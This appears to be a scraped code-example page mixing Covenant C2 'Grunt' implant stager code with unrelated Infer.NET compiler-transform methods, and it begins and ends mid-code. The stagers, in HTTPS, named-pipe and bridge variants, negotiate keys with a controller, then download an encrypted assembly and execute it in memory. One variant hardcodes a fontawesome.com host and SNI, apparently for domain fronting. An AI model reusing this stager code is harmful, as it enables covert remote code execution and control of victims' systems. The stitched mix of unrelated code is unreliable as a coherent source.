                SessionKey.IV = Convert.FromBase64String(iv64str);

                byte[] DecryptedChallenges = SessionKey.CreateDecryptor().TransformFinalBlock(messageBytes, 0, messageBytes.Length);
                byte[] challenge1Test      = new byte[4];
                byte[] challenge2          = new byte[4];
                Buffer.BlockCopy(DecryptedChallenges, 0, challenge1Test, 0, 4);
                Buffer.BlockCopy(DecryptedChallenges, 4, challenge2, 0, 4);
                if (Convert.ToBase64String(challenge1) != Convert.ToBase64String(challenge1Test))
                {
                    return;
                }

                SessionKey.GenerateIV();
                byte[] EncryptedChallenge2 = SessionKey.CreateEncryptor().TransformFinalBlock(challenge2, 0, challenge2.Length);
                hash = hmac.ComputeHash(EncryptedChallenge2);

                string Stage2Body = String.Format(MessageFormat, GUID, "2", "", Convert.ToBase64String(SessionKey.IV), Convert.ToBase64String(EncryptedChallenge2), Convert.ToBase64String(hash));
                transformedResponse = MessageTransform.Transform(Encoding.UTF8.GetBytes(Stage2Body));

                string Stage2Response = "";
                var    Stage2Bytes    = Encoding.UTF8.GetBytes(String.Format(ProfileWriteFormat, transformedResponse, GUID));
                Console.WriteLine("Stage 2");
                Write(pipe, Stage2Bytes);
                Stage2Response = Encoding.UTF8.GetString(Read(pipe));
                extracted      = Parse(Stage2Response, ProfileReadFormat)[0];
                extracted      = Encoding.UTF8.GetString(MessageTransform.Invert(extracted));
                parsed         = Parse(extracted, MessageFormat);
                iv64str        = parsed[3];
                message64str   = parsed[4];
                hash64str      = parsed[5];
                messageBytes   = Convert.FromBase64String(message64str);
                if (hash64str != Convert.ToBase64String(hmac.ComputeHash(messageBytes)))
                {
                    return;
                }
                SessionKey.IV = Convert.FromBase64String(iv64str);

                /*byte[] DecryptedAssembly = SessionKey.CreateDecryptor().TransformFinalBlock(messageBytes, 0, messageBytes.Length);
                 * Assembly gruntAssembly = Assembly.Load(DecryptedAssembly);
                 * gruntAssembly.GetTypes()[0].GetMethods()[0].Invoke(null, new Object[] { GUID, SessionKey, pipe, PipeName });*/
                GruntExecutor.Grunt.Execute(GUID
                                            , SessionKey
                                            , ProfileReadFormat
                                            , ProfileWriteFormat
                                            , pipe
                                            , PipeName);
            }
            catch (Exception e) { Console.Error.WriteLine(e.Message); }
        }
        public void ExecuteStager()
        {
            try
            {
                // ---------------------- configuration ----------------------
                string Addr = "staging.fontawesome.com"; // IP or Domain Name
                int    Port = 443;
                string SNI  = "img.fontawesome.com";
                // -----------------------------------------------------------

                string        CovenantCertHash        = @"{{REPLACE_COVENANT_CERT_HASH}}";
                List <string> ProfileHttpHeaderNames  = @"{{REPLACE_PROFILE_HTTP_HEADER_NAMES}}".Split(',').ToList().Select(H => System.Text.Encoding.UTF8.GetString(Convert.FromBase64String(H))).ToList();
                List <string> ProfileHttpHeaderValues = @"{{REPLACE_PROFILE_HTTP_HEADER_VALUES}}".Split(',').ToList().Select(H => System.Text.Encoding.UTF8.GetString(Convert.FromBase64String(H))).ToList();
                List <string> ProfileHttpUrls         = @"{{REPLACE_PROFILE_HTTP_URLS}}".Split(',').ToList().Select(U => System.Text.Encoding.UTF8.GetString(Convert.FromBase64String(U))).ToList();
                string        ProfileHttpPostRequest  = @"{{REPLACE_PROFILE_HTTP_POST_REQUEST}}".Replace(Environment.NewLine, "\n");
                string        ProfileHttpPostResponse = @"{{REPLACE_PROFILE_HTTP_POST_RESPONSE}}".Replace(Environment.NewLine, "\n");
                bool          ValidateCert            = bool.Parse(@"{{REPLACE_VALIDATE_CERT}}");
                bool          UseCertPinning          = bool.Parse(@"false");

                Random random        = new Random();
                string aGUID         = @"{{REPLACE_GRUNT_GUID}}";
                string GUID          = Guid.NewGuid().ToString().Replace("-", "").Substring(0, 10);
                byte[] SetupKeyBytes = Convert.FromBase64String(@"{{REPLACE_GRUNT_SHARED_SECRET_PASSWORD}}");
                string MessageFormat = @"{{""GUID"":""{0}"",""Type"":{1},""Meta"":""{2}"",""IV"":""{3}"",""EncryptedMessage"":""{4}"",""HMAC"":""{5}""}}";

                Aes SetupAESKey = Aes.Create();
                SetupAESKey.Mode    = CipherMode.CBC;
                SetupAESKey.Padding = PaddingMode.PKCS7;
                SetupAESKey.Key     = SetupKeyBytes;
                SetupAESKey.GenerateIV();
                HMACSHA256 hmac = new HMACSHA256(SetupKeyBytes);
                RSACryptoServiceProvider rsa = new RSACryptoServiceProvider(2048, new CspParameters());

                byte[] RSAPublicKeyBytes     = Encoding.UTF8.GetBytes(rsa.ToXmlString(false));
                byte[] EncryptedRSAPublicKey = SetupAESKey.CreateEncryptor().TransformFinalBlock(RSAPublicKeyBytes, 0, RSAPublicKeyBytes.Length);
                byte[] hash       = hmac.ComputeHash(EncryptedRSAPublicKey);
                string Stage0Body = String.Format(MessageFormat, aGUID + GUID, "0", "", Convert.ToBase64String(SetupAESKey.IV), Convert.ToBase64String(EncryptedRSAPublicKey), Convert.ToBase64String(hash));

                string transformedResponse = MessageTransform.Transform(Encoding.UTF8.GetBytes(Stage0Body));
                string Stage0Response      = "";
                var    wc = new HttpsClient(Addr, Port, SNI, ValidateCert, UseCertPinning, CovenantCertHash);
                Dictionary <string, string> headers = new Dictionary <string, string>();
                for (int i = 0; i < ProfileHttpHeaderValues.Count; i++)
                {
                    headers[ProfileHttpHeaderNames[i].Replace("{GUID}", "")] = ProfileHttpHeaderValues[i].Replace("{GUID}", "");
                }
                wc.Get(ProfileHttpUrls[random.Next(ProfileHttpUrls.Count)].Replace("{GUID}", ""), headers);
                for (int i = 0; i < ProfileHttpHeaderValues.Count; i++)
                {
                    headers[ProfileHttpHeaderNames[i].Replace("{GUID}", GUID)] = ProfileHttpHeaderValues[i].Replace("{GUID}", GUID);
                }
                Stage0Response = wc.Post(ProfileHttpUrls[random.Next(ProfileHttpUrls.Count)].Replace("{GUID}", GUID), String.Format(ProfileHttpPostRequest, transformedResponse), headers);
                string extracted = Parse(Stage0Response, ProfileHttpPostResponse)[0];
                extracted = Encoding.UTF8.GetString(MessageTransform.Invert(extracted));
                List <string> parsed       = Parse(extracted, MessageFormat);
                string        iv64str      = parsed[3];
                string        message64str = parsed[4];
                string        hash64str    = parsed[5];
                byte[]        messageBytes = Convert.FromBase64String(message64str);
                if (hash64str != Convert.ToBase64String(hmac.ComputeHash(messageBytes)))
                {
                    return;
                }
                SetupAESKey.IV = Convert.FromBase64String(iv64str);
                byte[] PartiallyDecrypted = SetupAESKey.CreateDecryptor().TransformFinalBlock(messageBytes, 0, messageBytes.Length);
                byte[] FullyDecrypted     = rsa.Decrypt(PartiallyDecrypted, true);

                Aes SessionKey = Aes.Create();
                SessionKey.Mode    = CipherMode.CBC;
                SessionKey.Padding = PaddingMode.PKCS7;
                SessionKey.Key     = FullyDecrypted;
                SessionKey.GenerateIV();
                hmac = new HMACSHA256(SessionKey.Key);
                byte[] challenge1         = new byte[4];
                RandomNumberGenerator rng = RandomNumberGenerator.Create();
                rng.GetBytes(challenge1);
                byte[] EncryptedChallenge1 = SessionKey.CreateEncryptor().TransformFinalBlock(challenge1, 0, challenge1.Length);
                hash = hmac.ComputeHash(EncryptedChallenge1);

                string Stage1Body = String.Format(MessageFormat, GUID, "1", "", Convert.ToBase64String(SessionKey.IV), Convert.ToBase64String(EncryptedChallenge1), Convert.ToBase64String(hash));
                transformedResponse = MessageTransform.Transform(Encoding.UTF8.GetBytes(Stage1Body));

                string Stage1Response = "";
                Stage1Response = wc.Post(ProfileHttpUrls[random.Next(ProfileHttpUrls.Count)].Replace("{GUID}", GUID), String.Format(ProfileHttpPostRequest, transformedResponse), headers);
                extracted      = Parse(Stage1Response, ProfileHttpPostResponse)[0];
                extracted      = Encoding.UTF8.GetString(MessageTransform.Invert(extracted));
                parsed         = Parse(extracted, MessageFormat);
                iv64str        = parsed[3];
                message64str   = parsed[4];
                hash64str      = parsed[5];
                messageBytes   = Convert.FromBase64String(message64str);
                if (hash64str != Convert.ToBase64String(hmac.ComputeHash(messageBytes)))
                {
                    return;
                }
                SessionKey.IV = Convert.FromBase64String(iv64str);

                byte[] DecryptedChallenges = SessionKey.CreateDecryptor().TransformFinalBlock(messageBytes, 0, messageBytes.Length);
                byte[] challenge1Test      = new byte[4];
                byte[] challenge2          = new byte[4];
                Buffer.BlockCopy(DecryptedChallenges, 0, challenge1Test, 0, 4);
                Buffer.BlockCopy(DecryptedChallenges, 4, challenge2, 0, 4);
                if (Convert.ToBase64String(challenge1) != Convert.ToBase64String(challenge1Test))
                {
                    return;
                }

                SessionKey.GenerateIV();
                byte[] EncryptedChallenge2 = SessionKey.CreateEncryptor().TransformFinalBlock(challenge2, 0, challenge2.Length);
                hash = hmac.ComputeHash(EncryptedChallenge2);

                string Stage2Body = String.Format(MessageFormat, GUID, "2", "", Convert.ToBase64String(SessionKey.IV), Convert.ToBase64String(EncryptedChallenge2), Convert.ToBase64String(hash));
                transformedResponse = MessageTransform.Transform(Encoding.UTF8.GetBytes(Stage2Body));

                string Stage2Response = "";
                Stage2Response = wc.Post(ProfileHttpUrls[random.Next(ProfileHttpUrls.Count)].Replace("{GUID}", GUID), String.Format(ProfileHttpPostRequest, transformedResponse), headers);
                extracted      = Parse(Stage2Response, ProfileHttpPostResponse)[0];
                extracted      = Encoding.UTF8.GetString(MessageTransform.Invert(extracted));
                parsed         = Parse(extracted, MessageFormat);
                iv64str        = parsed[3];
                message64str   = parsed[4];
                hash64str      = parsed[5];
                messageBytes   = Convert.FromBase64String(message64str);
                if (hash64str != Convert.ToBase64String(hmac.ComputeHash(messageBytes)))
                {
                    return;
                }
                SessionKey.IV = Convert.FromBase64String(iv64str);
                byte[]   DecryptedAssembly = SessionKey.CreateDecryptor().TransformFinalBlock(messageBytes, 0, messageBytes.Length);
                Assembly gruntAssembly     = Assembly.Load(DecryptedAssembly);
                gruntAssembly.GetTypes()[1].GetMethods()[0].Invoke(null, new Object[] { Addr, Port, SNI, CovenantCertHash, GUID, SessionKey }); // Grunt.Execute
            }
            catch (Exception e) { Console.Error.WriteLine(e.Message + Environment.NewLine + e.StackTrace); }
        }
Example #17
0
        public void ExecuteStager()
        {
            try
            {
                string ProfileWriteFormat = @"{{REPLACE_PROFILE_WRITE_FORMAT}}".Replace(Environment.NewLine, "\n");
                string ProfileReadFormat  = @"{{REPLACE_PROFILE_READ_FORMAT}}".Replace(Environment.NewLine, "\n");
                string PipeName           = @"{{REPLACE_PIPE_NAME}}";

                string aGUID         = @"{{REPLACE_GRUNT_GUID}}";
                string GUID          = Guid.NewGuid().ToString().Replace("-", "").Substring(0, 10);
                byte[] SetupKeyBytes = Convert.FromBase64String(@"{{REPLACE_GRUNT_SHARED_SECRET_PASSWORD}}");
                string MessageFormat = @"{{""GUID"":""{0}"",""Type"":{1},""Meta"":""{2}"",""IV"":""{3}"",""EncryptedMessage"":""{4}"",""HMAC"":""{5}""}}";

                Aes SetupAESKey = Aes.Create();
                SetupAESKey.Mode    = CipherMode.CBC;
                SetupAESKey.Padding = PaddingMode.PKCS7;
                SetupAESKey.Key     = SetupKeyBytes;
                SetupAESKey.GenerateIV();
                HMACSHA256 hmac = new HMACSHA256(SetupKeyBytes);
                RSACryptoServiceProvider rsa = new RSACryptoServiceProvider(2048, new CspParameters());

                byte[] RSAPublicKeyBytes     = Encoding.UTF8.GetBytes(rsa.ToXmlString(false));
                byte[] EncryptedRSAPublicKey = SetupAESKey.CreateEncryptor().TransformFinalBlock(RSAPublicKeyBytes, 0, RSAPublicKeyBytes.Length);
                byte[] hash       = hmac.ComputeHash(EncryptedRSAPublicKey);
                string Stage0Body = String.Format(MessageFormat, aGUID + GUID, "0", "", Convert.ToBase64String(SetupAESKey.IV), Convert.ToBase64String(EncryptedRSAPublicKey), Convert.ToBase64String(hash));

                string transformedResponse  = MessageTransform.Transform(Encoding.UTF8.GetBytes(Stage0Body));
                NamedPipeServerStream pipe  = null;
                string       Stage0Response = "";
                PipeSecurity ps             = new PipeSecurity();
                ps.AddAccessRule(new PipeAccessRule(new SecurityIdentifier(WellKnownSidType.WorldSid, null), PipeAccessRights.FullControl, AccessControlType.Allow));
                pipe = new NamedPipeServerStream(PipeName, PipeDirection.InOut, NamedPipeServerStream.MaxAllowedServerInstances, PipeTransmissionMode.Byte, PipeOptions.Asynchronous, 1024, 1024, ps);
                pipe.WaitForConnection();
                System.Threading.Thread.Sleep(5000);
                var Stage0Bytes = Encoding.UTF8.GetBytes(String.Format(ProfileWriteFormat, transformedResponse, GUID));
                Write(pipe, Stage0Bytes);
                Stage0Response = Encoding.UTF8.GetString(Read(pipe));
                string extracted = Parse(Stage0Response, ProfileReadFormat)[0];
                extracted = Encoding.UTF8.GetString(MessageTransform.Invert(extracted));
                List <string> parsed       = Parse(extracted, MessageFormat);
                string        iv64str      = parsed[3];
                string        message64str = parsed[4];
                string        hash64str    = parsed[5];
                byte[]        messageBytes = Convert.FromBase64String(message64str);
                if (hash64str != Convert.ToBase64String(hmac.ComputeHash(messageBytes)))
                {
                    return;
                }
                SetupAESKey.IV = Convert.FromBase64String(iv64str);
                byte[] PartiallyDecrypted = SetupAESKey.CreateDecryptor().TransformFinalBlock(messageBytes, 0, messageBytes.Length);
                byte[] FullyDecrypted     = rsa.Decrypt(PartiallyDecrypted, true);

                Aes SessionKey = Aes.Create();
                SessionKey.Mode    = CipherMode.CBC;
                SessionKey.Padding = PaddingMode.PKCS7;
                SessionKey.Key     = FullyDecrypted;
                SessionKey.GenerateIV();
                hmac = new HMACSHA256(SessionKey.Key);
                byte[] challenge1         = new byte[4];
                RandomNumberGenerator rng = RandomNumberGenerator.Create();
                rng.GetBytes(challenge1);
                byte[] EncryptedChallenge1 = SessionKey.CreateEncryptor().TransformFinalBlock(challenge1, 0, challenge1.Length);
                hash = hmac.ComputeHash(EncryptedChallenge1);

                string Stage1Body = String.Format(MessageFormat, GUID, "1", "", Convert.ToBase64String(SessionKey.IV), Convert.ToBase64String(EncryptedChallenge1), Convert.ToBase64String(hash));
                transformedResponse = MessageTransform.Transform(Encoding.UTF8.GetBytes(Stage1Body));

                string Stage1Response = "";
                var    Stage1Bytes    = Encoding.UTF8.GetBytes(String.Format(ProfileWriteFormat, transformedResponse, GUID));
                Write(pipe, Stage1Bytes);
                Stage1Response = Encoding.UTF8.GetString(Read(pipe));
                extracted      = Parse(Stage1Response, ProfileReadFormat)[0];
                extracted      = Encoding.UTF8.GetString(MessageTransform.Invert(extracted));
                parsed         = Parse(extracted, MessageFormat);
                iv64str        = parsed[3];
                message64str   = parsed[4];
                hash64str      = parsed[5];
                messageBytes   = Convert.FromBase64String(message64str);
                if (hash64str != Convert.ToBase64String(hmac.ComputeHash(messageBytes)))
                {
                    return;
                }
                SessionKey.IV = Convert.FromBase64String(iv64str);

                byte[] DecryptedChallenges = SessionKey.CreateDecryptor().TransformFinalBlock(messageBytes, 0, messageBytes.Length);
                byte[] challenge1Test      = new byte[4];
                byte[] challenge2          = new byte[4];
                Buffer.BlockCopy(DecryptedChallenges, 0, challenge1Test, 0, 4);
                Buffer.BlockCopy(DecryptedChallenges, 4, challenge2, 0, 4);
                if (Convert.ToBase64String(challenge1) != Convert.ToBase64String(challenge1Test))
                {
                    return;
                }

                SessionKey.GenerateIV();
                byte[] EncryptedChallenge2 = SessionKey.CreateEncryptor().TransformFinalBlock(challenge2, 0, challenge2.Length);
                hash = hmac.ComputeHash(EncryptedChallenge2);

                string Stage2Body = String.Format(MessageFormat, GUID, "2", "", Convert.ToBase64String(SessionKey.IV), Convert.ToBase64String(EncryptedChallenge2), Convert.ToBase64String(hash));
                transformedResponse = MessageTransform.Transform(Encoding.UTF8.GetBytes(Stage2Body));

                string Stage2Response = "";
                var    Stage2Bytes    = Encoding.UTF8.GetBytes(String.Format(ProfileWriteFormat, transformedResponse, GUID));
                Write(pipe, Stage2Bytes);
                Stage2Response = Encoding.UTF8.GetString(Read(pipe));
                extracted      = Parse(Stage2Response, ProfileReadFormat)[0];
                extracted      = Encoding.UTF8.GetString(MessageTransform.Invert(extracted));
                parsed         = Parse(extracted, MessageFormat);
                iv64str        = parsed[3];
                message64str   = parsed[4];
                hash64str      = parsed[5];
                messageBytes   = Convert.FromBase64String(message64str);
                if (hash64str != Convert.ToBase64String(hmac.ComputeHash(messageBytes)))
                {
                    return;
                }
                SessionKey.IV = Convert.FromBase64String(iv64str);
                byte[]   DecryptedAssembly = SessionKey.CreateDecryptor().TransformFinalBlock(messageBytes, 0, messageBytes.Length);
                Assembly gruntAssembly     = Assembly.Load(DecryptedAssembly);
                gruntAssembly.GetTypes()[0].GetMethods()[0].Invoke(null, new Object[] { GUID, SessionKey, pipe, PipeName });
            }
            catch (Exception e) { Console.Error.WriteLine(e.Message); }
        }
Example #18
0
        protected override IExpression ConvertArrayIndexer(IArrayIndexerExpression iaie)
        {
            IExpression expr = base.ConvertArrayIndexer(iaie);

            foreach (IStatement container in openContainers)
            {
                Dictionary <IExpression, LocalAnalysisTransform.LocalInfo> localInfoOfExpr = localInfoOfStmt[container];
                LocalAnalysisTransform.LocalInfo info;
                if (localInfoOfExpr.TryGetValue(iaie, out info))
                {
                    int depth = Recognizer.GetIndexingDepth(iaie);
                    if (ShouldUseLocal(info, depth))
                    {
                        object decl = Recognizer.GetDeclaration(expr);
                        if (info.localVar == null)
                        {
                            // name must end with a fixed suffix, to avoid clashes
                            string name = VariableInformation.GenerateName(context, MessageTransform.GetName(iaie) + "_local");
                            info.localVar = Builder.VarDecl(name, iaie.GetExpressionType());
                        }
                        if (!isTransformingContainer)
                        {
                            IExpression localExpr = Builder.VarRefExpr(info.localVar);
                            if (info.convertedCount == 0)
                            {
                                // this is the first conversion, so output a declaration and initializer
                                var        declExpr = Builder.VarDeclExpr(info.localVar);
                                IStatement declSt   = Builder.ExprStatement(declExpr);
                                // an initializer is needed to suppress compiler errors about 'Use of unassigned local variable'
                                declSt = Builder.AssignStmt(declExpr, Builder.DefaultExpr(info.localVar.VariableType));
                                int ancIndex = GetMatchingAncestorIndex(context, info.containingStatements);
                                context.AddStatementBeforeAncestorIndex(ancIndex, declSt);
                                if (info.hasReadBeforeWrite || info.minWriteDepth > depth)
                                {
                                    // initialize the local from the array element
                                    IStatement init      = Builder.AssignStmt(localExpr, expr);
                                    int        ancIndex2 = info.containers.GetMatchingAncestorIndex(context);
                                    Containers missing   = info.containers.GetContainersNotInContext(context, ancIndex2);
                                    init = Containers.WrapWithContainers(init, TransformContainers(missing.outputs));
                                    context.AddStatementBeforeAncestorIndex(ancIndex2, init);
                                }
                            }
                            info.convertedCount++;
                            if (info.convertedCount == info.count)
                            {
                                if (info.hasWrite)
                                {
                                    // this is the last appearance of the local, so update the array element from the local
                                    IStatement st        = Builder.AssignStmt(expr, localExpr);
                                    int        ancIndex2 = info.containers.GetMatchingAncestorIndex(context);
                                    Containers missing   = info.containers.GetContainersNotInContext(context, ancIndex2);
                                    // containers may contain locals, so they must be transformed.
                                    st = Containers.WrapWithContainers(st, TransformContainers(missing.outputs));
                                    context.AddStatementAfterAncestorIndex(ancIndex2, st);
                                }
                                info.convertedCount = 0; // reset in case this variable appears in another block
                            }
                        }
                        return(Builder.VarRefExpr(info.localVar));
                    }
                }
            }
            return(expr);
        }
Example #19
0
        public void ExecuteStager()
        {
            try
            {
                string CovenantURI        = @"{{REPLACE_COVENANT_URI}}";
                string ProfileWriteFormat = @"{{REPLACE_PROFILE_WRITE_FORMAT}}".Replace(Environment.NewLine, "\n");
                string ProfileReadFormat  = @"{{REPLACE_PROFILE_READ_FORMAT}}".Replace(Environment.NewLine, "\n");

                Random random        = new Random();
                string aGUID         = @"{{REPLACE_GRUNT_GUID}}";
                string GUID          = Guid.NewGuid().ToString().Replace("-", "").Substring(0, 10);
                byte[] SetupKeyBytes = Convert.FromBase64String(@"{{REPLACE_GRUNT_SHARED_SECRET_PASSWORD}}");
                string MessageFormat = @"{{""GUID"":""{0}"",""Type"":{1},""Meta"":""{2}"",""IV"":""{3}"",""EncryptedMessage"":""{4}"",""HMAC"":""{5}""}}";

                Aes SetupAESKey = Aes.Create();
                SetupAESKey.Mode    = CipherMode.CBC;
                SetupAESKey.Padding = PaddingMode.PKCS7;
                SetupAESKey.Key     = SetupKeyBytes;
                SetupAESKey.GenerateIV();
                HMACSHA256 hmac = new HMACSHA256(SetupKeyBytes);
                RSACryptoServiceProvider rsa = new RSACryptoServiceProvider(2048, new CspParameters());

                byte[] RSAPublicKeyBytes     = Encoding.UTF8.GetBytes(rsa.ToXmlString(false));
                byte[] EncryptedRSAPublicKey = SetupAESKey.CreateEncryptor().TransformFinalBlock(RSAPublicKeyBytes, 0, RSAPublicKeyBytes.Length);
                byte[] hash       = hmac.ComputeHash(EncryptedRSAPublicKey);
                string Stage0Body = String.Format(MessageFormat, aGUID + GUID, "0", "", Convert.ToBase64String(SetupAESKey.IV), Convert.ToBase64String(EncryptedRSAPublicKey), Convert.ToBase64String(hash));

                string          transformedResponse = MessageTransform.Transform(Encoding.UTF8.GetBytes(Stage0Body));
                BridgeMessenger messenger           = new BridgeMessenger(CovenantURI, GUID, ProfileWriteFormat);
                messenger.Connect();
                messenger.Write(String.Format(ProfileWriteFormat, transformedResponse, GUID));
                string Stage0Response = messenger.Read().Message;
                string extracted      = Parse(Stage0Response, ProfileReadFormat)[0];
                extracted = Encoding.UTF8.GetString(MessageTransform.Invert(extracted));
                List <string> parsed       = Parse(extracted, MessageFormat);
                string        iv64str      = parsed[3];
                string        message64str = parsed[4];
                string        hash64str    = parsed[5];
                byte[]        messageBytes = Convert.FromBase64String(message64str);

                if (hash64str != Convert.ToBase64String(hmac.ComputeHash(messageBytes)))
                {
                    return;
                }
                SetupAESKey.IV = Convert.FromBase64String(iv64str);
                byte[] PartiallyDecrypted = SetupAESKey.CreateDecryptor().TransformFinalBlock(messageBytes, 0, messageBytes.Length);
                byte[] FullyDecrypted     = rsa.Decrypt(PartiallyDecrypted, true);

                Aes SessionKey = Aes.Create();
                SessionKey.Mode    = CipherMode.CBC;
                SessionKey.Padding = PaddingMode.PKCS7;
                SessionKey.Key     = FullyDecrypted;
                SessionKey.GenerateIV();
                hmac = new HMACSHA256(SessionKey.Key);
                byte[] challenge1         = new byte[4];
                RandomNumberGenerator rng = RandomNumberGenerator.Create();
                rng.GetBytes(challenge1);
                byte[] EncryptedChallenge1 = SessionKey.CreateEncryptor().TransformFinalBlock(challenge1, 0, challenge1.Length);
                hash = hmac.ComputeHash(EncryptedChallenge1);

                string Stage1Body = String.Format(MessageFormat, GUID, "1", "", Convert.ToBase64String(SessionKey.IV), Convert.ToBase64String(EncryptedChallenge1), Convert.ToBase64String(hash));
                transformedResponse = MessageTransform.Transform(Encoding.UTF8.GetBytes(Stage1Body));
                string formatted = String.Format(ProfileWriteFormat, transformedResponse, GUID);
                messenger.Write(formatted);
                string Stage1Response = messenger.Read().Message;
                extracted    = Parse(Stage1Response, ProfileReadFormat)[0];
                extracted    = Encoding.UTF8.GetString(MessageTransform.Invert(extracted));
                parsed       = Parse(extracted, MessageFormat);
                iv64str      = parsed[3];
                message64str = parsed[4];
                hash64str    = parsed[5];
                messageBytes = Convert.FromBase64String(message64str);
                if (hash64str != Convert.ToBase64String(hmac.ComputeHash(messageBytes)))
                {
                    return;
                }
                SessionKey.IV = Convert.FromBase64String(iv64str);

                byte[] DecryptedChallenges = SessionKey.CreateDecryptor().TransformFinalBlock(messageBytes, 0, messageBytes.Length);
                byte[] challenge1Test      = new byte[4];
                byte[] challenge2          = new byte[4];
                Buffer.BlockCopy(DecryptedChallenges, 0, challenge1Test, 0, 4);
                Buffer.BlockCopy(DecryptedChallenges, 4, challenge2, 0, 4);
                if (Convert.ToBase64String(challenge1) != Convert.ToBase64String(challenge1Test))
                {
                    return;
                }

                SessionKey.GenerateIV();
                byte[] EncryptedChallenge2 = SessionKey.CreateEncryptor().TransformFinalBlock(challenge2, 0, challenge2.Length);
                hash = hmac.ComputeHash(EncryptedChallenge2);

                string Stage2Body = String.Format(MessageFormat, GUID, "2", "", Convert.ToBase64String(SessionKey.IV), Convert.ToBase64String(EncryptedChallenge2), Convert.ToBase64String(hash));
                transformedResponse = MessageTransform.Transform(Encoding.UTF8.GetBytes(Stage2Body));
                messenger.Write(String.Format(ProfileWriteFormat, transformedResponse, GUID));
                string Stage2Response = messenger.Read().Message;
                extracted    = Parse(Stage2Response, ProfileReadFormat)[0];
                extracted    = Encoding.UTF8.GetString(MessageTransform.Invert(extracted));
                parsed       = Parse(extracted, MessageFormat);
                iv64str      = parsed[3];
                message64str = parsed[4];
                hash64str    = parsed[5];
                messageBytes = Convert.FromBase64String(message64str);
                if (hash64str != Convert.ToBase64String(hmac.ComputeHash(messageBytes)))
                {
                    return;
                }
                SessionKey.IV = Convert.FromBase64String(iv64str);
                byte[]   DecryptedAssembly = SessionKey.CreateDecryptor().TransformFinalBlock(messageBytes, 0, messageBytes.Length);
                Assembly gruntAssembly     = Assembly.Load(DecryptedAssembly);
                gruntAssembly.GetTypes()[0].GetMethods()[0].Invoke(null, new Object[] { CovenantURI, GUID, SessionKey, messenger.client });
            }
            catch (Exception e) { Console.Error.WriteLine(e.Message); }
        }
Example #20
0
        /// <summary>
        /// Converts a variable declaration by creating definition, marginal and uses channel variables.
        /// </summary>
        protected override IExpression ConvertVariableDeclExpr(IVariableDeclarationExpression ivde)
        {
            IVariableDeclaration ivd = ivde.Variable;
            VariableInformation  vi  = VariableInformation.GetVariableInformation(context, ivd);

            // If the variable is deterministic, return
            if (!vi.IsStochastic)
            {
                ProcessConstant(ivd);
                context.OutputAttributes.Set(ivd, new DescriptionAttribute("The constant '" + ivd.Name + "'"));
                return(ivde);
            }
            bool suppressVariableFactor = context.InputAttributes.Has <SuppressVariableFactor>(ivd);
            bool isDerived  = context.InputAttributes.Has <DerivedVariable>(ivd);
            bool isConstant = false;
            bool isInferred = context.InputAttributes.Has <IsInferred>(ivd);
            int  useCount;

            ChannelAnalysisTransform.UsageInfo info;
            if (!analysis.usageInfo.TryGetValue(ivd, out info))
            {
                useCount = 0;
            }
            else
            {
                useCount = info.NumberOfUsesOld;
            }
            if (!(algorithm is Algorithms.GibbsSampling) && !isConstant && !suppressVariableFactor && (useCount == 1) && !isInferred && isDerived)
            {
                // this is optional
                suppressVariableFactor = true;
                context.InputAttributes.Set(ivd, new SuppressVariableFactor());
            }
            context.InputAttributes.Remove <LoopContext>(ivd);
            context.InputAttributes.Set(ivd, new LoopContext(context));

            // Create variable-to-channel information for the variable.
            VariableToChannelInformation vtc = new VariableToChannelInformation();

            vtc.shareAllUses = (useCount == 1);
            Context.InputAttributes.Set(ivd, vtc);

            // Ensure the marginal prototype is set.
            MarginalPrototype mpa = Context.InputAttributes.Get <MarginalPrototype>(ivd);

            try
            {
                vi.SetMarginalPrototypeFromAttribute(mpa);
            }
            catch (ArgumentException ex)
            {
                Error(ex.Message);
            }

            // Create the definition channel
            vtc.defChannel      = ChannelInfo.DefChannel(vi);
            vtc.defChannel.decl = ivd;
            // Always create a variable factor for a stochastic variable
            if (!isConstant && !suppressVariableFactor)
            {
                vi.DefineAllIndexVars(context);
                IList <IStatement> stmts = Builder.StmtCollection();

                // Create marginal channel
                vtc.marginalChannel      = ChannelInfo.MarginalChannel(vi);
                vtc.marginalChannel.decl = vi.DeriveIndexedVariable(stmts, context, vi.Name + "_marginal");
                context.InputAttributes.CopyObjectAttributesTo <InitialiseTo>(vi.declaration, context.OutputAttributes, vtc.marginalChannel.decl);
                context.OutputAttributes.Set(vtc.marginalChannel.decl, vtc.marginalChannel);
                context.OutputAttributes.Set(vtc.marginalChannel.decl, new DescriptionAttribute("marginal of '" + ivd.Name + "'"));
                SetMarginalPrototype(vtc.marginalChannel.decl);
                if (algorithm is GibbsSampling && ((GibbsSampling)algorithm).UseSideChannels)
                {
                    Type marginalType = MessageTransform.GetDistributionType(vi.varType, vi.InnermostElementType,
                                                                             vi.marginalPrototypeExpression.GetExpressionType(), true);
                    Type domainType = ivd.VariableType.DotNetType;

                    vtc.samplesChannel      = ChannelInfo.MarginalChannel(vi);
                    vtc.samplesChannel.decl = vi.DeriveIndexedVariable(stmts, context, vi.Name + "_samples");
                    context.OutputAttributes.Remove <InitialiseTo>(vtc.samplesChannel.decl);
                    context.OutputAttributes.Set(vtc.samplesChannel.decl, vtc.samplesChannel);
                    context.OutputAttributes.Set(vtc.samplesChannel.decl, new DescriptionAttribute("samples of '" + ivd.Name + "'"));
                    Type                samplesType = typeof(List <>).MakeGenericType(domainType);
                    IExpression         samples_mpe = Builder.NewObject(samplesType);
                    VariableInformation samples_vi  = VariableInformation.GetVariableInformation(context, vtc.samplesChannel.decl);
                    samples_vi.marginalPrototypeExpression = samples_mpe;

                    vtc.conditionalsChannel      = ChannelInfo.MarginalChannel(vi);
                    vtc.conditionalsChannel.decl = vi.DeriveIndexedVariable(stmts, context, vi.Name + "_conditionals");
                    context.OutputAttributes.Remove <InitialiseTo>(vtc.conditionalsChannel.decl);
                    context.OutputAttributes.Set(vtc.conditionalsChannel.decl, vtc.conditionalsChannel);
                    context.OutputAttributes.Set(vtc.conditionalsChannel.decl, new DescriptionAttribute("conditionals of '" + ivd.Name + "'"));
                    Type                conditionalsType = typeof(List <>).MakeGenericType(marginalType);
                    IExpression         conditionals_mpe = Builder.NewObject(conditionalsType);
                    VariableInformation conditionals_vi  = VariableInformation.GetVariableInformation(context, vtc.conditionalsChannel.decl);
                    conditionals_vi.marginalPrototypeExpression = conditionals_mpe;
                }
                else
                {
                    vtc.samplesChannel      = vtc.marginalChannel;
                    vtc.conditionalsChannel = vtc.marginalChannel;
                }

                // Create uses channel
                vtc.usageChannel      = ChannelInfo.UseChannel(vi);
